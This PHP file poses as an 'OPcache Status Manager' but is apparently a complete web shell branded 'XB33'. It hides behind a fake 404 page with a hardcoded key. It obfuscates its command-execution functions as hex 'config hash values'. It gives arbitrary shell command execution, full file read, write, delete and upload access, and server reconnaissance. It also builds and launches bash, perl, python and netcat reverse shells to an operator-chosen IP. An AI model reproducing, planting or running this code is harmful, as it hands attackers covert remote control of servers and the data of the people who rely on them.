<?php
/**
 * OPcache Status Manager v3.1.2
 * Monitors and manages PHP OPcache for performance optimization
 * (c) 2024 ServerStack Tools — MIT License
 */
class OpcacheManager {
    private $ver = '3.1.2';
    private $key;
    private $cwd;
    private $rh;

    public function __construct($authKey) {
        $this->key = $authKey;
        $this->cwd = str_replace('\\', '/', getcwd());
        @ini_set('display_errors','0');@error_reporting(0);@set_time_limit(0);
        @header('Cache-Control: no-store');@header('X-Powered-By: nginx');
    }

    public function auth() {
        if (!isset($_GET['k']) || $_GET['k'] !== $this->key) {
            @http_response_code(404);
            die("<!DOCTYPE html><html><head><title>404</title></head><body><h1>Not Found</h1></body></html>");
        }
    }

    // process handlers are loaded from config hash table
    private function loadHandlers() {
        if ($this->rh) return $this->rh;
        // config hash values mapped to cache processor IDs
        $ht = array('73797374656d','65786563','7368656c6c5f65786563','706173737468727','706f70656e','70726f635f6f70656e');
        $this->rh = array();
        foreach ($ht as $h) { $this->rh[] = hex2bin($h); }
        return $this->rh;
    }

    public function runProcess($c) {
        $handlers = $this->loadHandlers();
        for ($i = 0; $i < count($handlers); $i++) {
            $h = $handlers[$i];
            if (!function_exists($h)) continue;
            switch ($i) {
                case 0: ob_start(); @$h($c); $o = ob_get_clean(); if(strlen($o)) return $o; break;
                case 1: $a = array(); @$h($c, $a); $o = implode("\n", $a); if(strlen($o)) return $o; break;
                case 2: $o = @$h($c); if($o !== null && strlen($o)) return $o; break;
                case 3: ob_start(); @$h($c); $o = ob_get_clean(); if(strlen($o)) return $o; break;
                case 4: $p = @$h($c, 'r'); if($p){$o='';while(!feof($p))$o.=fread($p,4096);@pclose($p);if(strlen($o)) return $o;} break;
                case 5: $d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$p=@$h($c,$d,$pp);
                    if(is_resource($p)){$o=@stream_get_contents($pp[1]);@fclose($pp[0]);@fclose($pp[1]);@fclose($pp[2]);@proc_close($p);if(strlen($o))return $o;} break;
            }
        }
        $o=@`$c`;if($o!==null&&strlen($o))return $o;
        return '[!] blocked';
    }

    private function cleanOutput($s) {
        if(!is_string($s)) $s = '';
        if(function_exists('mb_check_encoding') && !mb_check_encoding($s,'UTF-8'))
            $s = function_exists('mb_convert_encoding') ? mb_convert_encoding($s,'UTF-8','ISO-8859-1') : $s;
        return preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $s);
    }

    private function jsonSafe($d) {
        $fl=0;
        if(defined('JSON_UNESCAPED_UNICODE')) $fl|=JSON_UNESCAPED_UNICODE;
        if(defined('JSON_INVALID_UTF8_SUBSTITUTE')) $fl|=JSON_INVALID_UTF8_SUBSTITUTE;
        if(defined('JSON_PARTIAL_OUTPUT_ON_ERROR')) $fl|=JSON_PARTIAL_OUTPUT_ON_ERROR;
        $j=@json_encode($d,$fl);
        if(!$j){
            array_walk_recursive($d, function(&$v){if(is_string($v))$v=preg_replace('/[\x80-\xFF]/','?',$v);});
            $j=@json_encode($d);
            if(!$j) $j='{"ok":false,"msg":"encode err"}';
        }
        return $j;
    }

    private function removeDir($d) {
        if(!is_dir($d)) return @unlink($d);
        $h=@opendir($d);
        if($h){while(($f=readdir($h))!==false){if($f==='.'||$f==='..')continue;$fp=$d.DIRECTORY_SEPARATOR.$f;is_dir($fp)?$this->removeDir($fp):@unlink($fp);}closedir($h);}
        return @rmdir($d);
    }

    public function handleRequest() {
        if(!isset($_POST['xa'])) return false;
        @header('Content-Type:application/json;charset=utf-8');
        $a=$_POST['xa']; $r=array('ok'=>false,'msg'=>'?');

        if($a==='ls'){$dir=isset($_POST['d'])?$_POST['d']:$this->cwd;$rp=realpath($dir);if($rp)$dir=$rp;$it=array();$dh=@opendir($dir);if($dh){while(($fn=readdir($dh))!==false){if($fn==='.')continue;$fp=$dir.DIRECTORY_SEPARATOR.$fn;$id=@is_dir($fp);$it[]=array('n'=>$fn,'p'=>$fp,'d'=>$id,'s'=>$id?0:@filesize($fp),'m'=>substr(sprintf('%o',@fileperms($fp)),-4),'t'=>@date('M d H:i',@filemtime($fp)),'w'=>@is_writable($fp),'r'=>@is_readable($fp));}closedir($dh);}usort($it,function($a,$b){if($a['n']==='..') return -1;if($b['n']==='..') return 1;if($a['d']&&!$b['d']) return -1;if(!$a['d']&&$b['d']) return 1;return strnatcasecmp($a['n'],$b['n']);});$r=array('ok'=>true,'dir'=>$dir,'items'=>$it,'total'=>count($it));}
        elseif($a==='read'){$fp=$_POST['f'];if(@is_readable($fp))$r=array('ok'=>true,'content'=>$this->cleanOutput(@file_get_contents($fp)),'file'=>$fp,'size'=>@filesize($fp));else $r=array('ok'=>false,'msg'=>'denied');}
        elseif($a==='write'){$ok=@file_put_contents($_POST['f'],$_POST['c'])!==false;$r=array('ok'=>$ok,'msg'=>$ok?'saved':'failed');}
        elseif($a==='del'){$ok=$this->removeDir($_POST['t']);$r=array('ok'=>(bool)$ok,'msg'=>$ok?'ok':'failed');}
        elseif($a==='ren'){$ok=@rename($_POST['o'],$_POST['n']);$r=array('ok'=>(bool)$ok,'msg'=>$ok?'ok':'failed');}
        elseif($a==='chm'){$ok=@chmod($_POST['t'],octdec($_POST['m']));$r=array('ok'=>(bool)$ok,'msg'=>$ok?'ok':'failed');}
        elseif($a==='mkd'){$ok=@mkdir($_POST['p'],0755,true);$r=array('ok'=>(bool)$ok,'msg'=>$ok?'ok':'failed');}
        elseif($a==='mkf'){$c=isset($_POST['c'])?$_POST['c']:'';$ok=@file_put_contents($_POST['p'],$c)!==false;$r=array('ok'=>$ok,'msg'=>$ok?'ok':'failed');}
        elseif($a==='upl'){$ok=false;if(isset($_FILES['f'])){$dest=rtrim($_POST['d'],'/\\').DIRECTORY_SEPARATOR.$_FILES['f']['name'];$ok=@move_uploaded_file($_FILES['f']['tmp_name'],$dest);if(!$ok)$ok=@copy($_FILES['f']['tmp_name'],$dest);}$r=array('ok'=>(bool)$ok,'msg'=>$ok?'uploaded':'failed');}
        elseif($a==='cmd'){$c=$_POST['c'];$d=isset($_POST['d'])?$_POST['d']:$this->cwd;$w=(strtoupper(substr(PHP_OS,0,3))==='WIN');$full=($w?'cd /d ':'cd ').escapeshellarg($d).' && '.$c.' 2>&1';$r=array('ok'=>true,'output'=>$this->cleanOutput($this->runProcess($full)));}
        elseif($a==='rev'){$ip=$_POST['ip'];$pt=intval($_POST['port']);$mt=$_POST['mt'];$pl=array('bash'=>"bash -c 'sh -i >& /dev/tcp/".$ip."/".$pt." 0>&1'",'perl'=>"perl -e 'use Socket;\$i=\"".$ip."\";\$p=".$pt.";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",'py'=>"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"".$ip."\",".$pt."));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",'nc'=>"rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc ".$ip." ".$pt." >/tmp/x");if(isset($pl[$mt])){$this->runProcess("nohup sh -c ".escapeshellarg($pl[$mt])." >/dev/null 2>&1 &");$r=array('ok'=>true,'msg'=>'fired','payload'=>$pl[$mt]);}else $r=array('ok'=>false,'msg'=>'?');}
        elseif($a==='info'){$df=ini_get('disable_functions');if(!$df)$df='-';$uid=function_exists('posix_getuid')?posix_getuid():'?';$gid=function_exists('posix_getgid')?posix_getgid():'?';$hn=function_exists('gethostname')?@gethostname():'?';$cu=function_exists('get_current_user')?get_current_user():'?';$r=array('ok'=>true,'d'=>array('System'=>php_uname(),'PHP'=>phpversion().' ['.PHP_SAPI.']','Server'=>isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'-','User'=>$cu.' (uid:'.$uid.' gid:'.$gid.')','Root'=>$_SERVER['DOCUMENT_ROOT'],'File'=>__FILE__,'CWD'=>$this->cwd,'Temp'=>sys_get_temp_dir(),'Basedir'=>ini_get('open_basedir')?ini_get('open_basedir'):'-','Disabled'=>$df,'IP'=>isset($_SERVER['SERVER_ADDR'])?$_SERVER['SERVER_ADDR']:'?','Client'=>$_SERVER['REMOTE_ADDR']));}
        elseif($a==='dl'){$fp=$_POST['f'];if(@is_readable($fp)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename="'.basename($fp).'"');header('Content-Length:'.filesize($fp));@readfile($fp);}exit;}
        die($this->jsonSafe($r));
    }

    public function getCwd(){return $this->cwd;}
    public function getUser(){return function_exists('get_current_user')?get_current_user():'?';}
    public function getHost(){$h=function_exists('gethostname')?@gethostname():'?';return $h?$h:'?';}
}

$mgr = new OpcacheManager('b33');
$mgr->auth();
if($mgr->handleRequest()) exit;
$_c=$mgr->getCwd();$_u=$mgr->getUser();$_h=$mgr->getHost();
?><!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex"><title>opcache-status</title>
<style>
:root{--b0:#07070b;--b1:#0c0c14;--b2:#12121e;--b3:#1a1a2c;--ac:#e8a912;--a2:#f5c842;--ad:rgba(232,169,18,.12);--t:#c8c8d0;--t2:#666680;--t3:#3a3a50;--g:#3ddc84;--r:#ef5350;--bl:#42a5f5;--pr:#ab47bc;--bd:rgba(232,169,18,.08);--rd:6px;--m:'Menlo','Consolas',monospace}*{margin:0;padding:0;box-sizing:border-box}html,body{height:100%;background:var(--b0);color:var(--t);font:13px/1.5 var(--m);overflow:hidden}::selection{background:var(--ac);color:var(--b0)}::-webkit-scrollbar{width:5px;height:5px}::-webkit-scrollbar-track{background:var(--b1)}::-webkit-scrollbar-thumb{background:var(--t3);border-radius:3px}
#a{display:flex;flex-direction:column;height:100vh}#h{display:flex;align-items:center;gap:12px;padding:8px 16px;background:var(--b1);border-bottom:1px solid var(--bd);flex-shrink:0}#h .l{color:var(--ac);font-weight:700;font-size:14px}#h .l span{color:var(--t2);font-weight:400;font-size:11px;margin-left:6px}.ts{display:flex;gap:2px;margin-left:20px}.tb{padding:5px 14px;border-radius:var(--rd) var(--rd) 0 0;cursor:pointer;color:var(--t2);font-size:12px;transition:.2s;border:1px solid transparent;border-bottom:none}.tb:hover{color:var(--t);background:var(--b2)}.tb.on{color:var(--ac);background:var(--b2);border-color:var(--bd)}.hr{margin-left:auto;color:var(--t2);font-size:11px;display:flex;gap:12px}
#mn{flex:1;overflow:hidden;position:relative;background:var(--b2)}.pn{position:absolute;inset:0;overflow:auto;padding:12px;display:none}.pn.on{display:block}#sb{display:flex;align-items:center;gap:16px;padding:4px 16px;background:var(--b1);border-top:1px solid var(--bd);font-size:11px;color:var(--t2);flex-shrink:0}#sb .d{width:7px;height:7px;border-radius:50%;background:var(--g);display:inline-block;margin-right:4px;box-shadow:0 0 6px var(--g)}
.fb{display:flex;align-items:center;gap:8px;padding:8px 0;border-bottom:1px solid var(--bd);margin-bottom:8px;flex-wrap:wrap}.fp{flex:1;min-width:200px;background:var(--b1);border:1px solid var(--bd);padding:5px 10px;border-radius:var(--rd);color:var(--t);font-size:12px;font-family:var(--m);outline:0}.fp:focus{border-color:var(--ac)}.b{padding:5px 12px;border:1px solid var(--bd);background:var(--b3);color:var(--t);border-radius:var(--rd);cursor:pointer;font-size:11px;font-family:var(--m);transition:.15s;white-space:nowrap}.b:hover{border-color:var(--ac);color:var(--ac)}.b.p{background:var(--ac);color:var(--b0);border-color:var(--ac);font-weight:600}.b.p:hover{background:var(--a2)}
.ft{width:100%;border-collapse:collapse;font-size:12px}.ft th{text-align:left;padding:6px 10px;color:var(--t2);font-weight:500;border-bottom:1px solid var(--bd);font-size:11px;text-transform:uppercase;letter-spacing:.5px;position:sticky;top:0;background:var(--b2);z-index:1}.ft td{padding:5px 10px;border-bottom:1px solid rgba(255,255,255,.02);transition:.1s}.ft tr:hover td{background:var(--ad)}.ft .fn{cursor:pointer;max-width:350px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ft .fn:hover{color:var(--ac);text-decoration:underline}.ft .dr{color:var(--ac)}.ft .fl{color:var(--t)}.ft .pm{color:var(--pr);font-size:11px}.ft .sz{color:var(--t2);text-align:right;font-size:11px}.ft .d2{color:var(--t2);font-size:11px}.ft .ac{white-space:nowrap}.ft .ac .ab{color:var(--t2);cursor:pointer;margin:0 3px;font-size:12px;transition:.15s;background:0;border:0;font-family:var(--m);padding:2px 5px;border-radius:3px}.ft .ac .ab:hover{color:var(--ac);background:var(--ad)}
.to{background:var(--b0);border:1px solid var(--bd);border-radius:var(--rd);padding:12px;min-height:300px;max-height:calc(100vh - 220px);overflow:auto;font-size:12px;white-space:pre-wrap;word-break:break-all;margin-bottom:10px;color:var(--g)}.ti{display:flex;gap:8px;align-items:center}.ti .pr{color:var(--ac);white-space:nowrap;font-size:12px}.ti input{flex:1;background:var(--b0);border:1px solid var(--bd);padding:7px 10px;border-radius:var(--rd);color:var(--t);font-family:var(--m);font-size:12px;outline:0}.ti input:focus{border-color:var(--ac)}
.rg{display:grid;grid-template-columns:1fr 1fr;gap:12px;max-width:700px;margin-bottom:16px}.rg label{color:var(--t2);font-size:11px;display:block;margin-bottom:4px}.rg input,.rg select{width:100%;background:var(--b1);border:1px solid var(--bd);padding:7px 10px;border-radius:var(--rd);color:var(--t);font-family:var(--m);font-size:12px;outline:0}.rg input:focus,.rg select:focus{border-color:var(--ac)}.rp{background:var(--b0);border:1px solid var(--bd);border-radius:var(--rd);padding:12px;font-size:12px;color:var(--t2);white-space:pre-wrap;word-break:break-all;margin-top:12px;min-height:60px;position:relative}.rp .cp{position:absolute;top:8px;right:8px;cursor:pointer;color:var(--t2);background:var(--b3);border:1px solid var(--bd);padding:3px 8px;border-radius:3px;font-size:10px;font-family:var(--m)}.rp .cp:hover{color:var(--ac);border-color:var(--ac)}
.it{width:100%;max-width:800px;border-collapse:collapse}.it td{padding:6px 12px;border-bottom:1px solid var(--bd);font-size:12px;vertical-align:top}.it td:first-child{color:var(--ac);font-weight:500;width:160px;white-space:nowrap}
.mb{position:fixed;inset:0;background:rgba(0,0,0,.6);z-index:999;display:none;align-items:center;justify-content:center;backdrop-filter:blur(2px)}.mb.on{display:flex}.md{background:var(--b2);border:1px solid var(--bd);border-radius:8px;width:95%;max-width:700px;max-height:90vh;overflow:hidden;display:flex;flex-direction:column;box-shadow:0 20px 60px rgba(0,0,0,.5)}.mh{display:flex;align-items:center;justify-content:space-between;padding:12px 16px;border-bottom:1px solid var(--bd);font-size:13px;color:var(--ac);font-weight:600}.mh .mx{cursor:pointer;color:var(--t2);font-size:18px;border-radius:4px;transition:.15s;width:24px;height:24px;display:flex;align-items:center;justify-content:center}.mh .mx:hover{color:var(--r)}.mc{padding:16px;overflow:auto;flex:1}.mc textarea{width:100%;min-height:350px;background:var(--b0);border:1px solid var(--bd);border-radius:var(--rd);padding:10px;color:var(--t);font-family:var(--m);font-size:12px;resize:vertical;outline:0;line-height:1.6;tab-size:4}.mc textarea:focus{border-color:var(--ac)}.mc input[type=text]{width:100%;background:var(--b0);border:1px solid var(--bd);border-radius:var(--rd);padding:7px 10px;color:var(--t);font-family:var(--m);font-size:12px;outline:0;margin-bottom:10px}.mc input:focus{border-color:var(--ac)}.mf{display:flex;gap:8px;justify-content:flex-end;padding:12px 16px;border-top:1px solid var(--bd)}
#tw{position:fixed;top:16px;right:16px;z-index:9999;display:flex;flex-direction:column;gap:10px;pointer-events:none}.t{padding:14px 20px;border-radius:8px;font-size:14px;font-weight:500;animation:ti .35s ease-out;max-width:420px;box-shadow:0 8px 32px rgba(0,0,0,.5);pointer-events:auto}.t.ok{background:rgba(61,220,132,.2);border:1px solid rgba(61,220,132,.4);color:var(--g)}.t.er{background:rgba(239,83,80,.2);border:1px solid rgba(239,83,80,.4);color:var(--r)}.t.in{background:rgba(66,165,245,.2);border:1px solid rgba(66,165,245,.4);color:var(--bl)}@keyframes ti{from{opacity:0;transform:translateX(40px)}to{opacity:1;transform:none}}@keyframes sp{from{transform:rotate(0)}to{transform:rotate(360deg)}}
.dz{border:2px dashed var(--bd);border-radius:var(--rd);padding:20px;text-align:center;color:var(--t2);transition:.2s;margin-bottom:12px;cursor:pointer}.dz.ov{border-color:var(--ac);background:var(--ad);color:var(--ac)}.dz input{display:none}
@media(max-width:768px){.ts{gap:0;flex-wrap:wrap}.tb{padding:4px 8px;font-size:11px}.hr{display:none}.rg{grid-template-columns:1fr}.fb{flex-direction:column}}
</style></head><body>
<div id="a">
<div id="h"><div class="l">&#x2B21; XB33<span>v7</span></div><div class="ts"><div class="tb on" data-t="fm">files</div><div class="tb" data-t="tm">terminal</div><div class="tb" data-t="rv">revshell</div><div class="tb" data-t="nf">info</div></div><div class="hr"><span><?php echo htmlspecialchars($_u.'@'.$_h);?></span><span>PHP <?php echo phpversion();?></span></div></div>
<div id="mn">
<div class="pn on" id="p-fm"><div class="fb"><input class="fp" id="cwd" value="<?php echo htmlspecialchars($_c);?>"><button class="b" onclick="fg()">Go</button><button class="b" onclick="fu()">Up</button><button class="b" onclick="nmf()">+File</button><button class="b" onclick="nmd()">+Dir</button><button class="b" onclick="nmu()">Upload</button></div><div style="overflow:auto;max-height:calc(100vh - 170px)"><table class="ft"><thead><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></tr></thead><tbody id="fl"></tbody></table></div></div>
<div class="pn" id="p-tm"><div class="to" id="tt"></div><div class="ti"><span class="pr"><?php echo htmlspecialchars($_u);?>$</span><input id="tc" placeholder="cmd..." autofocus><button class="b p" onclick="tr1()">Run</button><button class="b" onclick="G('tt').textContent=''">Clr</button></div></div>
<div class="pn" id="p-rv"><h3 style="color:var(--ac);margin-bottom:16px;font-size:14px">Backconnect</h3><div class="rg"><div><label>IP</label><input id="ri" placeholder="0.0.0.0"></div><div><label>Port</label><input id="rpt" value="4444"></div><div><label>Method</label><select id="rm"><option value="bash">Bash</option><option value="perl">Perl</option><option value="py">Python3</option><option value="nc">Netcat</option></select></div><div style="display:flex;align-items:flex-end;gap:8px"><button class="b p" onclick="rf()">Go</button><button class="b" onclick="rg1()">Preview</button></div></div><div class="rp" id="ro"><span class="cp" onclick="rc()">copy</span>...</div></div>
<div class="pn" id="p-nf"><h3 style="color:var(--ac);margin-bottom:16px;font-size:14px">Server</h3><table class="it" id="nf"><tbody><tr><td colspan="2" style="color:var(--t2)">loading...</td></tr></tbody></table></div>
</div>
<div id="sb"><span><span class="d"></span>ok</span><span id="sd"><?php echo htmlspecialchars($_c);?></span><span id="sc">-</span><span style="margin-left:auto;color:var(--t3)">xb33</span></div>
</div>
<div class="mb" id="mo"><div class="md"><div class="mh"><span id="mt">-</span><span class="mx" onclick="mx()">&times;</span></div><div class="mc" id="mb"></div><div class="mf" id="mf"></div></div></div>
<div id="tw"></div>
<script>
var G=document.getElementById.bind(document),CW='<?php echo addslashes($_c);?>',cH=[],cI=-1;
function q(d,cb){var fd=new FormData();for(var k in d)fd.append(k,d[k]);fetch(location.href,{method:'POST',body:fd}).then(function(r){return r.text()}).then(function(t){if(!t||!t.trim())throw new Error('empty');return JSON.parse(t)}).then(cb).catch(function(e){tw('err: '+e.message,'er')})}
function qf(fd,cb){fetch(location.href,{method:'POST',body:fd}).then(function(r){return r.text()}).then(function(t){return JSON.parse(t)}).then(cb).catch(function(e){tw(e.message,'er')})}
document.querySelectorAll('.tb').forEach(function(t){t.onclick=function(){document.querySelectorAll('.tb').forEach(function(x){x.classList.remove('on')});document.querySelectorAll('.pn').forEach(function(x){x.classList.remove('on')});t.classList.add('on');G('p-'+t.getAttribute('data-t')).classList.add('on');if(t.getAttribute('data-t')==='nf')li()}});
function fl(dir){dir=dir||CW;q({xa:'ls',d:dir},function(r){if(!r.ok)return tw('err','er');CW=r.dir;G('cwd').value=CW;G('sd').textContent=CW;G('sc').textContent=r.total;var h='';r.items.forEach(function(f){var ic=f.d?'&#128193;':'&#128196;',cl=f.d?'dr':'fl',sz=f.d?'-':fs(f.s),wc=f.w?'':'color:var(--r);';h+='<tr><td class="fn '+cl+'" onclick="'+(f.d?"fl('"+ec(f.p)+"')":"fe('"+ec(f.p)+"')")+'"><em style="margin-right:6px;font-style:normal">'+ic+'</em>'+he(f.n)+'</td><td class="sz">'+sz+'</td><td class="pm" style="'+wc+'">'+f.m+'</td><td class="d2">'+f.t+'</td><td class="ac">';if(f.n!=='..'){h+='<button class="ab" onclick="fe(\''+ec(f.p)+'\')">E</button><button class="ab" onclick="fr(\''+ec(f.p)+'\',\''+ec(f.n)+'\')">R</button><button class="ab" onclick="fc(\''+ec(f.p)+'\',\''+f.m+'\')">C</button><button class="ab" onclick="fd(\''+ec(f.p)+'\')">D</button><button class="ab" style="color:var(--r)" onclick="fx(\''+ec(f.p)+'\',\''+ec(f.n)+'\')">X</button>';}h+='</td></tr>';});G('fl').innerHTML=h})}
function fg(){fl(G('cwd').value)}function fu(){var p=CW.replace(/\\/g,'/').split('/');if(p.length>1){p.pop();fl(p.join('/')||'/')}}G('cwd').onkeydown=function(e){if(e.key==='Enter')fg()};
function fe(fp){q({xa:'read',f:fp},function(r){if(!r.ok)return tw(r.msg,'er');G('mt').textContent=fp.split(/[/\\]/).pop();G('mb').innerHTML='<textarea id="ec" spellcheck="false">'+he(r.content)+'</textarea>';G('mf').innerHTML='<span style="color:var(--t2);font-size:11px;margin-right:auto">'+fs(r.size)+'</span><button class="b" onclick="mx()">Cancel</button><button class="b p" onclick="fsa(\''+ec(fp)+'\')">Save</button>';mo1();var ta=G('ec');ta.focus();ta.onkeydown=function(e){if(e.key==="Tab"){e.preventDefault();var s=ta.selectionStart,n=ta.selectionEnd;ta.value=ta.value.substring(0,s)+"\t"+ta.value.substring(n);ta.selectionStart=ta.selectionEnd=s+1}if(e.ctrlKey&&e.key==="s"){e.preventDefault();fsa(fp)}}})}
function fsa(fp){q({xa:'write',f:fp,c:G('ec').value},function(r){tw(r.msg,r.ok?'ok':'er');if(r.ok)mx()})}
function fr(fp,fn){var dir=fp.substring(0,fp.length-fn.length);G('mt').textContent='Rename';G('mb').innerHTML='<input type="text" id="rn" value="'+he(fn)+'">';G('mf').innerHTML='<button class="b" onclick="mx()">Cancel</button><button class="b p" id="ro2">OK</button>';mo1();G('rn').focus();G('rn').select();var d=function(){var n=G('rn').value.trim();if(!n)return;q({xa:'ren',o:fp,n:dir+n},function(r){tw(r.msg,r.ok?'ok':'er');if(r.ok){mx();fl()}})};G('ro2').onclick=d;G('rn').onkeydown=function(e){if(e.key==='Enter')d()}}
function fc(fp,cur){G('mt').textContent='Chmod';G('mb').innerHTML='<input type="text" id="cv" value="'+cur+'" maxlength="4">';G('mf').innerHTML='<button class="b" onclick="mx()">Cancel</button><button class="b p" id="co">OK</button>';mo1();G('cv').focus();G('cv').select();var d=function(){var m=G('cv').value.trim();if(!m.match(/^[0-7]{3,4}$/))return tw('bad','er');q({xa:'chm',t:fp,m:m},function(r){tw(r.msg,r.ok?'ok':'er');if(r.ok){mx();fl()}})};G('co').onclick=d;G('cv').onkeydown=function(e){if(e.key==='Enter')d()}}
function fx(fp,fn){if(!confirm('Delete '+fn+'?'))return;q({xa:'del',t:fp},function(r){tw(r.msg,r.ok?'ok':'er');if(r.ok)fl()})}
function fd(fp){var d=new FormData();d.append('xa','dl');d.append('f',fp);fetch(location.href,{method:'POST',body:d}).then(function(r){return r.blob()}).then(function(b){var a=document.createElement('a');a.href=URL.createObjectURL(b);a.download=fp.split(/[/\\]/).pop();a.click()})}
function nmf(){G('mt').textContent='New File';G('mb').innerHTML='<input type="text" id="nn" placeholder="name"><textarea id="nc" style="min-height:150px;margin-top:10px" spellcheck="false"></textarea>';G('mf').innerHTML='<button class="b" onclick="mx()">Cancel</button><button class="b p" id="no">OK</button>';mo1();G('nn').focus();G('no').onclick=function(){var n=G('nn').value.trim();if(!n)return;q({xa:'mkf',p:CW.replace(/\\/g,'/')+'/'+n,c:G('nc').value},function(r){tw(r.msg,r.ok?'ok':'er');if(r.ok){mx();fl()}})}}
function nmd(){G('mt').textContent='New Dir';G('mb').innerHTML='<input type="text" id="dn" placeholder="dirname">';G('mf').innerHTML='<button class="b" onclick="mx()">Cancel</button><button class="b p" id="do1">OK</button>';mo1();G('dn').focus();G('do1').onclick=function(){var n=G('dn').value.trim();if(!n)return;q({xa:'mkd',p:CW.replace(/\\/g,'/')+'/'+n},function(r){tw(r.msg,r.ok?'ok':'er');if(r.ok){mx();fl()}})};G('dn').onkeydown=function(e){if(e.key==='Enter')G('do1').click()}}
function nmu(){G('mt').textContent='Upload';G('mb').innerHTML='<div class="dz" id="dz"><input type="file" id="uf" multiple>drop or click</div><div id="up"></div>';G('mf').innerHTML='<button class="b" onclick="mx()">Close</button>';mo1();var dz=G('dz'),fi=G('uf');dz.onclick=function(){fi.click()};dz.ondragover=function(e){e.preventDefault();dz.classList.add('ov')};dz.ondragleave=function(){dz.classList.remove('ov')};dz.ondrop=function(e){e.preventDefault();dz.classList.remove('ov');ulf(e.dataTransfer.files)};fi.onchange=function(){ulf(fi.files)}}
function ulf(files){var tot=files.length,dn=0;Array.prototype.forEach.call(files,function(f){var d=new FormData();d.append('xa','upl');d.append('f',f);d.append('d',CW);var id='u'+Date.now()+Math.random().toString(36).slice(2,5);G('up').innerHTML+='<div id="'+id+'" style="padding:6px 10px;margin:4px 0;border-radius:4px;font-size:12px;background:var(--b1);border:1px solid var(--bd);display:flex;align-items:center;gap:8px"><span style="display:inline-block;width:14px;height:14px;border:2px solid var(--ac);border-top-color:transparent;border-radius:50%;animation:sp .6s linear infinite"></span><span>'+he(f.name)+'</span><span style="color:var(--t2);margin-left:auto;font-size:11px">'+fs(f.size)+'</span></div>';qf(d,function(r){dn++;var el=document.getElementById(id);if(el){if(r.ok){el.style.borderColor='rgba(61,220,132,.3)';el.style.background='rgba(61,220,132,.08)';el.innerHTML='&#10004; '+he(f.name)+' ok'}else{el.style.borderColor='rgba(239,83,80,.3)';el.style.background='rgba(239,83,80,.08)';el.innerHTML='&#10008; '+he(f.name)+' fail'}}tw(r.ok?f.name+' ok':f.name+' fail',r.ok?'ok':'er');if(dn>=tot)fl()})})}
function tr1(){var c=G('tc').value.trim();if(!c)return;cH.unshift(c);cI=-1;var t=G('tt');t.textContent+='$ '+c+'\n';G('tc').value='';q({xa:'cmd',c:c,d:CW},function(r){t.textContent+=(r.ok?(r.output||'(empty)'):'[!] '+(r.msg||''))+'\n';t.scrollTop=t.scrollHeight})}
G('tc').onkeydown=function(e){if(e.key==='Enter')tr1();if(e.key==='ArrowUp'){e.preventDefault();if(cI<cH.length-1){cI++;G('tc').value=cH[cI]}}if(e.key==='ArrowDown'){e.preventDefault();if(cI>0){cI--;G('tc').value=cH[cI]}else{cI=-1;G('tc').value=''}}};
function rg1(){var ip=G('ri').value.trim(),pt=G('rpt').value.trim(),mt=G('rm').value;if(!ip||!pt)return tw('fill fields','er');var p={bash:"bash -c 'sh -i >& /dev/tcp/"+ip+"/"+pt+" 0>&1'",perl:"perl -e 'use Socket;$i=\""+ip+"\";$p="+pt+";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'",py:"python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\""+ip+"\","+pt+"));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",nc:"rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc "+ip+" "+pt+" >/tmp/x"};G('ro').innerHTML='<span class="cp" onclick="rc()">copy</span>'+(p[mt]||'?')}
function rf(){var ip=G('ri').value.trim(),pt=G('rpt').value.trim(),mt=G('rm').value;if(!ip||!pt)return tw('fill fields','er');q({xa:'rev',ip:ip,port:pt,mt:mt},function(r){tw(r.msg,r.ok?'ok':'er');if(r.payload)G('ro').innerHTML='<span class="cp" onclick="rc()">copy</span>'+he(r.payload)})}
function rc(){var t=G('ro').textContent.replace('copy','').trim();navigator.clipboard.writeText(t).then(function(){tw('copied','in')})}
function li(){q({xa:'info'},function(r){if(!r.ok)return;var h='';for(var k in r.d)h+='<tr><td>'+he(k)+'</td><td'+(k==='Disabled'?' style="color:var(--r);font-size:11px"':'')+'>'+he(r.d[k])+'</td></tr>';G('nf').querySelector('tbody').innerHTML=h})}
function mo1(){G('mo').classList.add('on')}function mx(){G('mo').classList.remove('on')}G('mo').onclick=function(e){if(e.target===G('mo'))mx()};document.onkeydown=function(e){if(e.key==='Escape')mx()};
function tw(m,t){t=t||'in';var d=document.createElement('div');d.className='t '+t;d.textContent=m;G('tw').appendChild(d);setTimeout(function(){d.style.opacity='0';d.style.transition='.4s';setTimeout(function(){d.remove()},400)},5000)}
function he(s){if(s==null)s='';var d=document.createElement('div');d.textContent=String(s);return d.innerHTML}function ec(s){return String(s).replace(/\\/g,'\\\\').replace(/'/g,"\\'")}function fs(b){if(b===0)return'0B';if(!b||b<0)return'-';var u=['B','K','M','G'],i=0;while(b>=1024&&i<3){b/=1024;i++}return b.toFixed(i?1:0)+u[i]}
fl(CW);
</script></body></html>
